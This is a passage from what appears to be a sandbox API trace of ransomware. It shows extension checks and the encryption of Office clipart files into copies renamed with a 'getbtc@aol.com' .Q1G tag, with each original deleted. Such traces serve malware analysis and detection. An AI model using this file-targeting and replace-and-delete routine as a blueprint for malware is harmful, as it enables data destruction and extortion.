(lpString1=".xls", lpString2=".WMF") returned 1 [0243.282] lstrlenW (lpString=".xlsx") returned 5 [0243.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.282] lstrlenW (lpString=".ppt") returned 4 [0243.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.282] lstrlenW (lpString=".zip") returned 4 [0243.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.282] lstrlenW (lpString=".rar") returned 4 [0243.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.282] lstrlenW (lpString=".bz2") returned 4 [0243.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.282] lstrlenW (lpString=".7z") returned 3 [0243.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.283] lstrlenW (lpString=".dbf") returned 4 [0243.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.283] lstrlenW (lpString=".1cd") returned 4 [0243.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.283] lstrlenW (lpString=".jpg") returned 4 [0243.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.283] lstrlenW (lpString=".doc") returned 4 [0243.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.283] lstrlenW (lpString=".docx") returned 5 [0243.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.283] lstrlenW (lpString=".pdf") returned 4 [0243.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.283] lstrlenW (lpString=".xls") returned 4 [0243.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.283] lstrlenW (lpString=".xlsx") returned 5 [0243.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.283] lstrlenW (lpString=".ppt") returned 4 [0243.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.283] lstrlenW (lpString=".zip") returned 4 [0243.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.283] lstrlenW (lpString=".rar") returned 4 [0243.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.283] lstrlenW (lpString=".bz2") returned 4 [0243.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.283] lstrlenW (lpString=".7z") returned 3 [0243.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.283] lstrlenW (lpString=".dbf") returned 4 [0243.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.284] lstrlenW (lpString=".1cd") returned 4 [0243.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.284] lstrlenW (lpString=".jpg") returned 4 [0243.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.284] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.284] lstrlenW (lpString="BD20013_.WMF") returned 12 [0243.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.379] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=11058) returned 1 [0243.379] CloseHandle (hObject=0x200) returned 1 [0243.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0243.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.451] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.451] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0243.452] GetLastError () returned 0x0 [0243.452] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2b32, lpOverlapped=0x0) returned 1 [0243.462] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0243.464] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.464] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.464] SetEndOfFile (hFile=0x3ac) returned 1 [0243.510] CloseHandle (hObject=0x3ac) returned 1 [0243.533] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.544] SetEndOfFile (hFile=0x37c) returned 1 [0243.562] CloseHandle (hObject=0x37c) returned 1 [0243.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0243.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.563] lstrlenW (lpString=".doc") returned 4 [0243.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.563] lstrlenW (lpString=".docx") returned 5 [0243.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.563] lstrlenW (lpString=".pdf") returned 4 [0243.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.563] lstrlenW (lpString=".xls") returned 4 [0243.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.563] lstrlenW (lpString=".xlsx") returned 5 [0243.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.563] lstrlenW (lpString=".ppt") returned 4 [0243.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.564] lstrlenW (lpString=".zip") returned 4 [0243.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.564] lstrlenW (lpString=".rar") returned 4 [0243.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.564] lstrlenW (lpString=".bz2") returned 4 [0243.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.564] lstrlenW (lpString=".7z") returned 3 [0243.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.564] lstrlenW (lpString=".dbf") returned 4 [0243.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.564] lstrlenW (lpString=".1cd") returned 4 [0243.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.564] lstrlenW (lpString=".jpg") returned 4 [0243.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.564] lstrlenW (lpString=".doc") returned 4 [0243.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.564] lstrlenW (lpString=".docx") returned 5 [0243.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.564] lstrlenW (lpString=".pdf") returned 4 [0243.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.564] lstrlenW (lpString=".xls") returned 4 [0243.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.564] lstrlenW (lpString=".xlsx") returned 5 [0243.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.565] lstrlenW (lpString=".ppt") returned 4 [0243.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.565] lstrlenW (lpString=".zip") returned 4 [0243.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.565] lstrlenW (lpString=".rar") returned 4 [0243.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.565] lstrlenW (lpString=".bz2") returned 4 [0243.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.565] lstrlenW (lpString=".7z") returned 3 [0243.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.565] lstrlenW (lpString=".dbf") returned 4 [0243.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.565] lstrlenW (lpString=".1cd") returned 4 [0243.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0243.565] lstrlenW (lpString=".jpg") returned 4 [0243.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.565] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.565] lstrlenW (lpString="BL00148_.WMF") returned 12 [0243.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.566] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1696) returned 1 [0243.566] CloseHandle (hObject=0x37c) returned 1 [0243.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0243.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.566] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.566] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.567] GetLastError () returned 0x0 [0243.567] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0243.577] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0243.578] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.578] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.578] SetEndOfFile (hFile=0x3a4) returned 1 [0243.578] CloseHandle (hObject=0x3a4) returned 1 [0243.578] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.578] SetEndOfFile (hFile=0x37c) returned 1 [0243.581] CloseHandle (hObject=0x37c) returned 1 [0243.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.581] lstrlenW (lpString=".doc") returned 4 [0243.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.582] lstrlenW (lpString=".docx") returned 5 [0243.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.582] lstrlenW (lpString=".pdf") returned 4 [0243.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.582] lstrlenW (lpString=".xls") returned 4 [0243.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.582] lstrlenW (lpString=".xlsx") returned 5 [0243.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.582] lstrlenW (lpString=".ppt") returned 4 [0243.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.582] lstrlenW (lpString=".zip") returned 4 [0243.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.582] lstrlenW (lpString=".rar") returned 4 [0243.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.582] lstrlenW (lpString=".bz2") returned 4 [0243.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.582] lstrlenW (lpString=".7z") returned 3 [0243.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.582] lstrlenW (lpString=".dbf") returned 4 [0243.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.582] lstrlenW (lpString=".1cd") returned 4 [0243.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.582] lstrlenW (lpString=".jpg") returned 4 [0243.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.582] lstrlenW (lpString=".doc") returned 4 [0243.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.583] lstrlenW (lpString=".docx") returned 5 [0243.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.583] lstrlenW (lpString=".pdf") returned 4 [0243.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.583] lstrlenW (lpString=".xls") returned 4 [0243.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.583] lstrlenW (lpString=".xlsx") returned 5 [0243.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.583] lstrlenW (lpString=".ppt") returned 4 [0243.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.583] lstrlenW (lpString=".zip") returned 4 [0243.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.583] lstrlenW (lpString=".rar") returned 4 [0243.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.583] lstrlenW (lpString=".bz2") returned 4 [0243.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.583] lstrlenW (lpString=".7z") returned 3 [0243.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.583] lstrlenW (lpString=".dbf") returned 4 [0243.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.583] lstrlenW (lpString=".1cd") returned 4 [0243.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0243.583] lstrlenW (lpString=".jpg") returned 4 [0243.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.584] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.584] lstrlenW (lpString="BL00194_.WMF") returned 12 [0243.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.584] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3986) returned 1 [0243.584] CloseHandle (hObject=0x37c) returned 1 [0243.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0243.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.584] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.585] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.585] GetLastError () returned 0x0 [0243.585] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xf92, lpOverlapped=0x0) returned 1 [0243.589] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0243.590] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.590] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.590] SetEndOfFile (hFile=0x3a4) returned 1 [0243.609] CloseHandle (hObject=0x3a4) returned 1 [0243.609] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.609] SetEndOfFile (hFile=0x37c) returned 1 [0243.611] CloseHandle (hObject=0x37c) returned 1 [0243.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0243.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.613] lstrlenW (lpString=".doc") returned 4 [0243.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.613] lstrlenW (lpString=".docx") returned 5 [0243.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.614] lstrlenW (lpString=".pdf") returned 4 [0243.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.614] lstrlenW (lpString=".xls") returned 4 [0243.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.614] lstrlenW (lpString=".xlsx") returned 5 [0243.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.614] lstrlenW (lpString=".ppt") returned 4 [0243.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.614] lstrlenW (lpString=".zip") returned 4 [0243.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.614] lstrlenW (lpString=".rar") returned 4 [0243.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.614] lstrlenW (lpString=".bz2") returned 4 [0243.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.614] lstrlenW (lpString=".7z") 